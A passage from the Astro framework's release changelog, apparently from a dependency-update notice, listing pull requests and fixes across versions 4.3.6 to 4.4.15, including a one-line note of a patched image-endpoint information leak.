requires you to manually reference the schema in each data entry file of the collection: ```diff // src/content/test/entry.json { + "$schema": "../../../.astro/collections/test.schema.json", "test": "test" } ``` Alternatively, you can set this in your [VSCode `json.schemas` settings](https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings): ```diff "json.schemas": [ { "fileMatch": [ "/src/content/test/**" ], "url": "../../../.astro/collections/test.schema.json" } ] ``` Note that this initial implementation uses a library with [known issues for advanced Zod schemas](https://github.com/StefanTerdell/zod-to-json-schema#known-issues), so you may wish to consult these limitations before enabling the experimental flag. - [#&#8203;10130](https://github.com/withastro/astro/pull/10130) [`5a9528741fa98d017b269c7e4f013058028bdc5d`](https://github.com/withastro/astro/commit/5a9528741fa98d017b269c7e4f013058028bdc5d) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Migrates `shikiji` to `shiki` 1.0 - [#&#8203;10268](https://github.com/withastro/astro/pull/10268) [`2013e70bce16366781cc12e52823bb257fe460c0`](https://github.com/withastro/astro/commit/2013e70bce16366781cc12e52823bb257fe460c0) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds support for page mutations to the audits in the dev toolbar. Astro will now rerun the audits whenever elements are added or deleted from the page. - [#&#8203;10217](https://github.com/withastro/astro/pull/10217) [`5c7862a9fe69954f8630538ebb7212cd04b8a810`](https://github.com/withastro/astro/commit/5c7862a9fe69954f8630538ebb7212cd04b8a810) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Updates the UI for dev toolbar audits with new information ##### Patch Changes - [#&#8203;10360](https://github.com/withastro/astro/pull/10360) [`ac766647b0e6156b7c4a0bb9a11981fe168852d7`](https://github.com/withastro/astro/commit/ac766647b0e6156b7c4a0bb9a11981fe168852d7) Thanks [@&#8203;nmattia](https://github.com/nmattia)! - Fixes an issue where some CLI commands attempted to directly read vite config files. - [#&#8203;10291](https://github.com/withastro/astro/pull/10291) [`8107a2721b6abb07c3120ac90e03c39f2a44ab0c`](https://github.com/withastro/astro/commit/8107a2721b6abb07c3120ac90e03c39f2a44ab0c) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Treeshakes unused Astro component scoped styles - [#&#8203;10368](https://github.com/withastro/astro/pull/10368) [`78bafc5d661ff7dd071c241cb1303c4d8a774d21`](https://github.com/withastro/astro/commit/78bafc5d661ff7dd071c241cb1303c4d8a774d21) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Updates the base `tsconfig.json` preset with `jsx: 'preserve'` in order to fix errors when importing Astro files inside `.js` and `.ts` files. - Updated dependencies \[[`c081adf998d30419fed97d8fccc11340cdc512e0`](https://github.com/withastro/astro/commit/c081adf998d30419fed97d8fccc11340cdc512e0), [`1ea0a25b94125e4f6f2ac82b42f638e22d7bdffd`](https://github.com/withastro/astro/commit/1ea0a25b94125e4f6f2ac82b42f638e22d7bdffd), [`5a9528741fa98d017b269c7e4f013058028bdc5d`](https://github.com/withastro/astro/commit/5a9528741fa98d017b269c7e4f013058028bdc5d), [`a31bbd7ff8f3ec62ee507f72d1d25140b82ffc18`](https://github.com/withastro/astro/commit/a31bbd7ff8f3ec62ee507f72d1d25140b82ffc18)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;4.3.0 - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.3.0 ### [`v4.4.15`](https://github.com/withastro/astro/releases/tag/astro%404.4.15) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.14...astro@4.4.15) ##### Patch Changes - [#&#8203;10317](https://github.com/withastro/astro/pull/10317) [`33583e8b31ee8a33e26cf57f30bb422921f4745d`](https://github.com/withastro/astro/commit/33583e8b31ee8a33e26cf57f30bb422921f4745d) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where elements slotted within interactive framework components disappeared after hydration. ### [`v4.4.14`](https://github.com/withastro/astro/releases/tag/astro%404.4.14) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.13...astro@4.4.14) ##### Patch Changes - [#&#8203;10355](https://github.com/withastro/astro/pull/10355) [`8ce9fffd44b0740621178d61fb1425bf4155c2d7`](https://github.com/withastro/astro/commit/8ce9fffd44b0740621178d61fb1425bf4155c2d7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where full dynamic routes were prioritized over partial dynamic routes. Now a route like `food-[name].astro` is matched **before** `[name].astro`. - [#&#8203;10356](https://github.com/withastro/astro/pull/10356) [`d121311a3f4b5345e344e31f75d4e7164d65f729`](https://github.com/withastro/astro/commit/d121311a3f4b5345e344e31f75d4e7164d65f729) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes an issue where `getCollection` might return `undefined` when content collection is empty - [#&#8203;10325](https://github.com/withastro/astro/pull/10325) [`f33cce8f6c3a2e17847658cdedb015bd93cc1ee3`](https://github.com/withastro/astro/commit/f33cce8f6c3a2e17847658cdedb015bd93cc1ee3) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where `ctx.site` included the configured `base` in API routes and middleware, unlike `Astro.site` in astro pages. - [#&#8203;10343](https://github.com/withastro/astro/pull/10343) [`f973aa9110592fa9017bbe84387f22c24a6d7159`](https://github.com/withastro/astro/commit/f973aa9110592fa9017bbe84387f22c24a6d7159) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes some false positive in the dev toolbar a11y audits, by adding the `a` element to the list of interactive elements. - [#&#8203;10295](https://github.com/withastro/astro/pull/10295) [`fdd5bf277e5c1cfa30c1bd2ca123f4e90e8d09d9`](https://github.com/withastro/astro/commit/fdd5bf277e5c1cfa30c1bd2ca123f4e90e8d09d9) Thanks [@&#8203;rossrobino](https://github.com/rossrobino)! - Adds a prefetch fallback when using the `experimental.clientPrerender` option. If prerendering fails, which can happen if [Chrome extensions block prerendering](https://developer.chrome.com/blog/speculation-rules-improvements#chrome-limits), it will fallback to prefetching the URL. This works by adding a `prefetch` field to the `speculationrules` script, but does not create an extra request. ### [`v4.4.13`](https://github.com/withastro/astro/releases/tag/astro%404.4.13) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.12...astro@4.4.13) ##### Patch Changes - [#&#8203;10342](https://github.com/withastro/astro/pull/10342) [`a2e9b2b936666b2a4779feb00dcb8ff0ab82c2ec`](https://github.com/withastro/astro/commit/a2e9b2b936666b2a4779feb00dcb8ff0ab82c2ec) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes [@&#8203;astrojs/db](https://github.com/astrojs/db) loading TS in the fixtures ### [`v4.4.12`](https://github.com/withastro/astro/releases/tag/astro%404.4.12) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.11...astro@4.4.12) ##### Patch Changes - [#&#8203;10336](https://github.com/withastro/astro/pull/10336) [`f2e60a96754ed1d86001fe4d5d3a0c0ef657408d`](https://github.com/withastro/astro/commit/f2e60a96754ed1d86001fe4d5d3a0c0ef657408d) Thanks [@&#8203;FredKSchott](https://github.com/FredKSchott)! - Fixes an issue where slotting interactive components within a "client:only" component prevented all component code in the page from running. ### [`v4.4.11`](https://github.com/withastro/astro/releases/tag/astro%404.4.11) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.10...astro@4.4.11) ##### Patch Changes - [#&#8203;10281](https://github.com/withastro/astro/pull/10281) [`9deb919ff95b1d2ffe5a5f70ec683e32ebfafd05`](https://github.com/withastro/astro/commit/9deb919ff95b1d2ffe5a5f70ec683e32ebfafd05) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where `404.astro` was ignored with `i18n` routing enabled. - [#&#8203;10279](https://github.com/withastro/astro/pull/10279) [`9ba3e2605daee3861e3bf6c5768f1d8bced4709d`](https://github.com/withastro/astro/commit/9ba3e2605daee3861e3bf6c5768f1d8bced4709d) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where returning redirect responses resulted in missing files with certain adapters. - [#&#8203;10319](https://github.com/withastro/astro/pull/10319) [`19ecccedaab6d8fa0ff23711c88fa7d4fa34df38`](https://github.com/withastro/astro/commit/19ecccedaab6d8fa0ff23711c88fa7d4fa34df38) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where streaming SSR responses sometimes failed with "`iterator.result` is not a function" on node-based adapters. - [#&#8203;10302](https://github.com/withastro/astro/pull/10302) [`992537e79f1847b590a2e226aac88a47a6304f68`](https://github.com/withastro/astro/commit/992537e79f1847b590a2e226aac88a47a6304f68) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes an issue that causes static entrypoints build to fail because of the path in certain conditions. Specifically, it failed if the path had an extension (like `.astro`, `.mdx` etc) and such extension would be also within the path (like `./.astro/index.astro`). - [#&#8203;10298](https://github.com/withastro/astro/pull/10298) [`819d20a89c0d269333c2d397c1080884f516307a`](https://github.com/withastro/astro/commit/819d20a89c0d269333c2d397c1080884f516307a) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fix an incorrect conflict resolution between pages generated from static routes and rest parameters ### [`v4.4.10`](https://github.com/withastro/astro/releases/tag/astro%404.4.10) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.9...astro@4.4.10) ##### Patch Changes - [#&#8203;10235](https://github.com/withastro/astro/pull/10235) [`4bc360cd5f25496aca3232f6efb3710424a14a34`](https://github.com/withastro/astro/commit/4bc360cd5f25496aca3232f6efb3710424a14a34) Thanks [@&#8203;sanman1k98](https://github.com/sanman1k98)! - Fixes jerky scrolling on IOS when using view transitions. ### [`v4.4.9`](https://github.com/withastro/astro/releases/tag/astro%404.4.9) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.8...astro@4.4.9) ##### Patch Changes - [#&#8203;10278](https://github.com/withastro/astro/pull/10278) [`a548a3a99c2835c19662fc38636f92b2bda26614`](https://github.com/withastro/astro/commit/a548a3a99c2835c19662fc38636f92b2bda26614) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes original images sometimes being kept / deleted when they shouldn't in both MDX and Markdoc - [#&#8203;10280](https://github.com/withastro/astro/pull/10280) [`3488be9b59d1cb65325b0e087c33bcd74aaa4926`](https://github.com/withastro/astro/commit/3488be9b59d1cb65325b0e087c33bcd74aaa4926) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Finalize db API to a shared db/ directory. ### [`v4.4.8`](https://github.com/withastro/astro/releases/tag/astro%404.4.8) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.7...astro@4.4.8) ##### Patch Changes - [#&#8203;10275](https://github.com/withastro/astro/pull/10275) [`5e3e74b61daa2ba44c761c9ab5745818661a656e`](https://github.com/withastro/astro/commit/5e3e74b61daa2ba44c761c9ab5745818661a656e) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes dev toolbar warning about using the proper loading attributes on images using `data:` URIs ### [`v4.4.7`](https://github.com/withastro/astro/releases/tag/astro%404.4.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.6...astro@4.4.7) ##### Patch Changes - [#&#8203;10274](https://github.com/withastro/astro/pull/10274) [`e556151603a2f0173059d0f98fdcbec0610b48ff`](https://github.com/withastro/astro/commit/e556151603a2f0173059d0f98fdcbec0610b48ff) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes a regression introduced in v4.4.5 where image optimization did not work in dev mode when a base was configured. - [#&#8203;10263](https://github.com/withastro/astro/pull/10263) [`9bdbed723e0aa4243d7d6ee64d1c1df3b75b9aeb`](https://github.com/withastro/astro/commit/9bdbed723e0aa4243d7d6ee64d1c1df3b75b9aeb) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds auto completion for `astro:` event names when adding or removing event listeners on `document`. - [#&#8203;10284](https://github.com/withastro/astro/pull/10284) [`07f89429a1ef5173d3321e0b362a9dc71fc74fe5`](https://github.com/withastro/astro/commit/07f89429a1ef5173d3321e0b362a9dc71fc74fe5) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes an issue where in Node SSR, the image endpoint could be used maliciously to reveal unintended information about the underlying system. Thanks to Google Security Team for reporting this issue. ### [`v4.4.6`](https://github.com/withastro/astro/releases/tag/astro%404.4.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.5...astro@4.4.6) ##### Patch Changes - [#&#8203;10247](https://github.com/withastro/astro/pull/10247) [`fb773c9161bf8faa5ebd7e115f3564c3359e56ea`](https://github.com/withastro/astro/commit/fb773c9161bf8faa5ebd7e115f3564c3359e56ea) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue where `transition:animate="none"` still allowed the browser-native morph animation. - [#&#8203;10248](https://github.com/withastro/astro/pull/10248) [`8ae5d99534fc09d650e10e64a09b61a2807574f2`](https://github.com/withastro/astro/commit/8ae5d99534fc09d650e10e64a09b61a2807574f2) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where multiple injected routes with the same `entrypoint` but different `pattern` were incorrectly cached, causing some of them not being rendered in the dev server. - [#&#8203;10250](https://github.com/withastro/astro/pull/10250) [`57655a99db34e20e9661c039fab253b867013318`](https://github.com/withastro/astro/commit/57655a99db34e20e9661c039fab253b867013318) Thanks [@&#8203;log101](https://github.com/log101)! - Fixes the overwriting of localised index pages with redirects - [#&#8203;10239](https://github.com/withastro/astro/pull/10239) [`9c21a9df6b03e36bd78dc553e13c55b9ef8c44cd`](https://github.com/withastro/astro/commit/9c21a9df6b03e36bd78dc553e13c55b9ef8c44cd) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Improves the message of `MiddlewareCantBeLoaded` for clarity - [#&#8203;10222](https://github.com/withastro/astro/pull/10222) [`ade9759cae74ca262b988260250bcb202235e811`](https://github.com/withastro/astro/commit/ade9759cae74ca262b988260250bcb202235e811) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds a warning in DEV mode when using view transitions on a device with prefer-reduced-motion enabled. - [#&#8203;10251](https://github.com/withastro/astro/pull/10251) [`9b00de0a76b4f4b5b808e8c78e4906a2497e8ecf`](https://github.com/withastro/astro/commit/9b00de0a76b4f4b5b808e8c78e4906a2497e8ecf) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes TypeScript type definitions for `Code` component `theme` and `experimentalThemes` props ### [`v4.4.5`](https://github.com/withastro/astro/releases/tag/astro%404.4.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.4...astro@4.4.5) ##### Patch Changes - [#&#8203;10221](https://github.com/withastro/astro/pull/10221) [`4db82d9c7dce3b73fe43b86020fcfa326c1357ec`](https://github.com/withastro/astro/commit/4db82d9c7dce3b73fe43b86020fcfa326c1357ec) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevents errors in templates from crashing the server - [#&#8203;10219](https://github.com/withastro/astro/pull/10219) [`afcb9d331179287629b5ffce4020931258bebefa`](https://github.com/withastro/astro/commit/afcb9d331179287629b5ffce4020931258bebefa) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix dynamic slots missing hydration scripts - [#&#8203;10220](https://github.com/withastro/astro/pull/10220) [`1eadb1c5290f2f4baf538c34889a09d5fcfb9bd4`](https://github.com/withastro/astro/commit/1eadb1c5290f2f4baf538c34889a09d5fcfb9bd4) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes some built-in apps of the dev toolbar not closing when clicking the page - [#&#8203;10154](https://github.com/withastro/astro/pull/10154) [`e64bd0740b44aed5cfaf67e5c37a1c56ed4442f4`](https://github.com/withastro/astro/commit/e64bd0740b44aed5cfaf67e5c37a1c56ed4442f4) Thanks [@&#8203;Cherry](https://github.com/Cherry)! - Fixes an issue where `config.vite.build.assetsInlineLimit` could not be set as a function. - [#&#8203;10196](https://github.com/withastro/astro/pull/10196) [`8fb32f390d40cfa12a82c0645928468d27218866`](https://github.com/withastro/astro/commit/8fb32f390d40cfa12a82c0645928468d27218866) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where a warning about headers being accessed in static mode is unnecessarily shown when i18n is enabled. - [#&#8203;10199](https://github.com/withastro/astro/pull/10199) [`6aa660ae7abc6841d7a3396b29f10b9fb7910ce5`](https://github.com/withastro/astro/commit/6aa660ae7abc6841d7a3396b29f10b9fb7910ce5) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where prerendered pages had access to query params in dev mode. ### [`v4.4.4`](https://github.com/withastro/astro/releases/tag/astro%404.4.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.3...astro@4.4.4) ##### Patch Changes - [#&#8203;10195](https://github.com/withastro/astro/pull/10195) [`903eace233033998811b72e27a54c80d8e59ff37`](https://github.com/withastro/astro/commit/903eace233033998811b72e27a54c80d8e59ff37) Thanks [@&#8203;1574242600](https://github.com/1574242600)! - Fix build failure caused by read-only files under /public (in the presence of client-side JS). - [#&#8203;10205](https://github.com/withastro/astro/pull/10205) [`459f74bc71748279fe7dce0688f38bd74b51c5c1`](https://github.com/withastro/astro/commit/459f74bc71748279fe7dce0688f38bd74b51c5c1) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Adds an error message for non-string transition:name values - [#&#8203;10208](https://github.com/withastro/astro/pull/10208) [`8cd38f02456640c063552aef00b2b8a216b3935d`](https://github.com/withastro/astro/commit/8cd38f02456640c063552aef00b2b8a216b3935d) Thanks [@&#8203;log101](https://github.com/log101)! - Fixes custom headers are not added to the Node standalone server responses in preview mode ### [`v4.4.3`](https://github.com/withastro/astro/releases/tag/astro%404.4.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.2...astro@4.4.3) ##### Patch Changes - [#&#8203;10143](https://github.com/withastro/astro/pull/10143) [`7c5fcd2fa817472f480bbfbbc11b9ed71a7210ab`](https://github.com/withastro/astro/commit/7c5fcd2fa817472f480bbfbbc11b9ed71a7210ab) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves the default `optimizeDeps.entries` Vite config to avoid globbing server endpoints, and respect the `srcDir` option - [#&#8203;10197](https://github.com/withastro/astro/pull/10197) [`c856c729404196900a7386c8426b81e79684a6a9`](https://github.com/withastro/astro/commit/c856c729404196900a7386c8426b81e79684a6a9) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes errors being logged twice in some cases - [#&#8203;10166](https://github.com/withastro/astro/pull/10166) [`598f30c7cd6c88558e3806d9bc5a15d426d83992`](https://github.com/withastro/astro/commit/598f30c7cd6c88558e3806d9bc5a15d426d83992) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves Astro style tag HMR when updating imported styles - [#&#8203;10194](https://github.com/withastro/astro/pull/10194) [`3cc20109277813ccb9578ca87a8b0d680a73c35c`](https://github.com/withastro/astro/commit/3cc20109277813ccb9578ca87a8b0d680a73c35c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an issue related to content collections usage in browser context caused by `csssec` ### [`v4.4.2`](https://github.com/withastro/astro/releases/tag/astro%404.4.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.1...astro@4.4.2) ##### Patch Changes - [#&#8203;10169](https://github.com/withastro/astro/pull/10169) [`a46249173edde66b03c19441144272baa8394fb4`](https://github.com/withastro/astro/commit/a46249173edde66b03c19441144272baa8394fb4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue with the `i18n.routing` types, where an internal transformation was causing the generation of incorrect types for integrations. ### [`v4.4.1`](https://github.com/withastro/astro/releases/tag/astro%404.4.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.4.0...astro@4.4.1) ##### Patch Changes - [#&#8203;9795](https://github.com/withastro/astro/pull/9795) [`5acc3135ba5309a566def466fbcbabd23f70cd68`](https://github.com/withastro/astro/commit/5acc3135ba5309a566def466fbcbabd23f70cd68) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Refactors internals relating to middleware, endpoints, and page rendering. - [#&#8203;10105](https://github.com/withastro/astro/pull/10105) [`1f598b372410066c6fcd41cba9915f6aaf7befa8`](https://github.com/withastro/astro/commit/1f598b372410066c6fcd41cba9915f6aaf7befa8) Thanks [@&#8203;negativems](https://github.com/negativems)! - Fixes an issue where some astro commands failed if the astro config file or an integration used the global `crypto` object. - [#&#8203;10165](https://github.com/withastro/astro/pull/10165) [`d50dddb71d87ce5b7928920f10eb4946a5339f86`](https://github.com/withastro/astro/commit/d50dddb71d87ce5b7928920f10eb4946a5339f86) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the `i18n.routing` object had all its fields defined as mandatory. Now they all are optionals and shouldn't break when using `astro.config.mts`. - [#&#8203;10132](https://github.com/withastro/astro/pull/10132) [`1da9c5f2f3fe70b0206d1b3e0c01744fa40d511c`](https://github.com/withastro/astro/commit/1da9c5f2f3fe70b0206d1b3e0c01744fa40d511c) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Simplifies internal Vite preview server teardown - [#&#8203;10163](https://github.com/withastro/astro/pull/10163) [`b92d35f1026f3e99abb888d1a845bdda4efdc327`](https://github.com/withastro/astro/commit/b92d35f1026f3e99abb888d1a845bdda4efdc327) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes an issue where audit fails to initialize when encountered `<a>` inside `<svg>` - [#&#8203;10079](https://github.com/withastro/astro/pull/10079) [`80f8996514e6d0546e94bd927650cd4ab2f1fa2f`](https://github.com/withastro/astro/commit/80f8996514e6d0546e94bd927650cd4ab2f1fa2f) Thanks [@&#8203;ktym4a](https://github.com/ktym4a)! - Fix integrationData fetch to always be called even if View Transition is enabled. - [#&#8203;10139](https://github.com/withastro/astro/pull/10139) [`3c73441eb2eaba767d6dad1b30c0353195d28791`](https://github.com/withastro/astro/commit/3c73441eb2eaba767d6dad1b30c0353195d28791) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes style-only change detection for Astro files if both the markup and styles are updated ### [`v4.4.0`](https://github.com/withastro/astro/releases/tag/astro%404.4.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.7...astro@4.4.0) ##### Minor Changes - [#&#8203;9614](https://github.com/withastro/astro/pull/9614) [`d469bebd7b45b060dc41d82ab1cf18ee6de7e051`](https://github.com/withastro/astro/commit/d469bebd7b45b060dc41d82ab1cf18ee6de7e051) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves Node.js streaming performance. This uses an `AsyncIterable` instead of a `ReadableStream` to do streaming in Node.js. This is a non-standard enhancement by Node, which is done only in that environment. - [#&#8203;10001](https://github.com/withastro/astro/pull/10001) [`748b2e87cd44d8bcc1ab9d7e504703057e2000cd`](https://github.com/withastro/astro/commit/748b2e87cd44d8bcc1ab9d7e504703057e2000cd) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Removes content collection warning when a configured collection does not have a matching directory name. This should resolve `i18n` collection warnings for Starlight users. This also ensures configured collection names are always included in `getCollection()` and `getEntry()` types even when a matching directory is absent. We hope this allows users to discover typos during development by surfacing type information. - [#&#8203;10074](https://github.com/withastro/astro/pull/10074) [`7443929381b47db0639c49a4d32aec4177bd9102`](https://github.com/withastro/astro/commit/7443929381b47db0639c49a4d32aec4177bd9102) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Add a UI showing the list of found problems when using the audit app in the dev toolbar - [#&#8203;10099](https://github.com/withastro/astro/pull/10099) [`b340f8fe3aaa81e38c4f1aa41498b159dc733d86`](https://github.com/withastro/astro/commit/b340f8fe3aaa81e38c4f1aa41498b159dc733d86) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes a regression where view transition names containing special characters such as spaces or punctuation stopped working. Regular use naming your transitions with `transition: name` is unaffected. However, this fix may result in breaking changes if your project relies on the particular character encoding strategy Astro uses to translate `transition:name` directives into values of the underlying CSS `view-transition-name` property. For example, `Welcome to Astro` is now encoded as `Welcome_20to_20Astro_2e`. This mainly affects spaces and punctuation marks but no Unicode characters with codes >= 128. - [#&#8203;9976](https://github.com/withastro/astro/pull/9976) [`91f75afbc642b6e73dd4ec18a1fe2c3128c68132`](https://github.com/withastro/astro/commit/91f75afbc642b6e73dd4ec18a1fe2c3128c68132) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Adds a new optional `astro:assets` image attribute `inferSize` for use with remote images. Remote images can now have their dimensions inferred just like local images. Setting `inferSize` to `true` allows you to use `getImage()` and the `<Image />` and `<Picture />` components without setting the `width` and `height` properties. ```astro --- import { Image, Picture, getImage } from 'astro:assets'; const myPic = await getImage({ src: 'https://example.com/example.png', inferSize: true }); --- <Image src="https://example.com/example.png" inferSize alt="" /> <Picture src="https://example.com/example.png" inferSize alt="" /> ``` Read more about [using `inferSize` with remote images](https://docs.astro.build/en/guides/images/#infersize) in our documentation. - [#&#8203;10015](https://github.com/withastro/astro/pull/10015) [`6884b103c8314a43e926c6acdf947cbf812a21f4`](https://github.com/withastro/astro/commit/6884b103c8314a43e926c6acdf947cbf812a21f4) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds initial support for performance audits to the dev toolbar ##### Patch Changes - [#&#8203;10116](https://github.com/withastro/astro/pull/10116) [`4bcc249a9f34aaac59658ca626c828bd6dbb8046`](https://github.com/withastro/astro/commit/4bcc249a9f34aaac59658ca626c828bd6dbb8046) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Fixes an issue where the dev server froze when typescript aliases were used. - [#&#8203;10096](https://github.com/withastro/astro/pull/10096) [`227cd83a51bbd451dc223fd16f4cf1b87b8e44f8`](https://github.com/withastro/astro/commit/227cd83a51bbd451dc223fd16f4cf1b87b8e44f8) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes regression on routing priority for multi-layer index pages The sorting algorithm positions more specific routes before less specific routes, and considers index pages to be more specific than a dynamic route with a rest parameter inside of it. This means that `/blog` is considered more specific than `/blog/[...slug]`. But this special case was being applied incorrectly to indexes, which could cause a problem in scenarios like the following: - `/` - `/blog` - `/blog/[...slug]` The algorithm would make the following comparisons: - `/` is more specific than `/blog` (incorrect) - `/blog/[...slug]` is more specific than `/` (correct) - `/blog` is more specific than `/blog/[...slug]` (correct) Although the incorrect first comparison is not a problem by itself, it could cause the algorithm to make the wrong decision. Depending on the other routes in the project, the sorting could perform just the last two comparisons and by transitivity infer the inverse of the third (`/blog/[...slug` > `/` > `/blog`), which is incorrect. Now the algorithm doesn't have a special case for index pages and instead does the comparison soleley for rest parameter segments and their immediate parents, which is consistent with the transitivity property. - [#&#8203;10120](https://github.com/withastro/astro/pull/10120) [`787e6f52470cf07fb50c865948b2bc8fe45a6d31`](https://github.com/withastro/astro/commit/787e6f52470cf07fb50c865948b2bc8fe45a6d31) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates and supports Vite 5.1 - [#&#8203;10096](https://github.com/withastro/astro/pull/10096) [`227cd83a51bbd451dc223fd16f4cf1b87b8e44f8`](https://github.com/withastro/astro/commit/227cd83a51bbd451dc223fd16f4cf1b87b8e44f8) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes edge case on i18n fallback routes Previously index routes deeply nested in the default locale, like `/some/nested/index.astro` could be mistaked as the root index for the default locale, resulting in an incorrect redirect on `/`. - [#&#8203;10112](https://github.com/withastro/astro/pull/10112) [`476b79a61165d0aac5e98459a4ec90762050a14b`](https://github.com/withastro/astro/commit/476b79a61165d0aac5e98459a4ec90762050a14b) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Renames the home Astro Devoolbar App to `astro:home` - [#&#8203;10117](https://github.com/withastro/astro/pull/10117) [`51b6ff7403c1223b1c399e88373075972c82c24c`](https://github.com/withastro/astro/commit/51b6ff7403c1223b1c399e88373075972c82c24c) Thanks [@&#8203;hippotastic](https://github.com/hippotastic)! - Fixes an issue where `create astro`, `astro add` and `@astrojs/upgrade` would fail due to unexpected package manager CLI output. ### [`v4.3.7`](https://github.com/withastro/astro/releases/tag/astro%404.3.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.6...astro@4.3.7) ##### Patch Changes - [#&#8203;9857](https://github.com/withastro/astro/pull/9857) [`73bd900754365b006ee730df9f379ba924e5b3fa`](https://github.com/withastro/astro/commit/73bd900754365b006ee730df9f379ba924e5b3fa) Thanks [@&#8203;iamyunsin](https://github.com/iamyunsin)! - Fixes false positives in the dev overlay audit when multiple `role` values exist. - [#&#8203;10075](https://github.com/withastro/astro/pull/10075) [`71273edbb429b5afdba6f8ee14681b66e4c09ecc`](https://github.com/withastro/astro/commit/71273edbb429b5afdba6f8ee14681b66e4c09ecc) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Improves error messages for island hydration. - [#&#8203;10072](https://github.com/withastro/astro/pull/10072) [`8106178043050d142bf385bed2990730518f28e2`](https://github.com/withastro/astro/commit/8106178043050d142bf385bed2990730518f28e2) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Clarifies error messages in endpoint routing. - [#&#8203;9971](https://github.com/withastro/astro/pull/9971) [`d9266c4467ca0faa1213c1a5995164e5655ab375`](https://github.com/withastro/astro/commit/d9266c4467ca0faa1213c1a5995164e5655ab375) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes an issue where ReadableStream wasn't canceled in dev mode ### [`v4.3.6`](https://github.com/withastro/astro/releases/tag/astro%404.3.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.3.5...astro@4.3.6) ##### Patch Changes - [#&#8203;10063](https://github.com/withastro/astro/pull/10063) [`dac759798c111494e76affd2c2504d63944871fe`](https://github.com/withastro/astro/commit/dac759798c111494e76affd2c2504d63944871fe) Thanks [@&#8203;marwan-mohamed12](https://github.com/marwan-mohamed12)! - Moves `shikiji-core` from `devDependencies` to `dependencies` to prevent type errors - 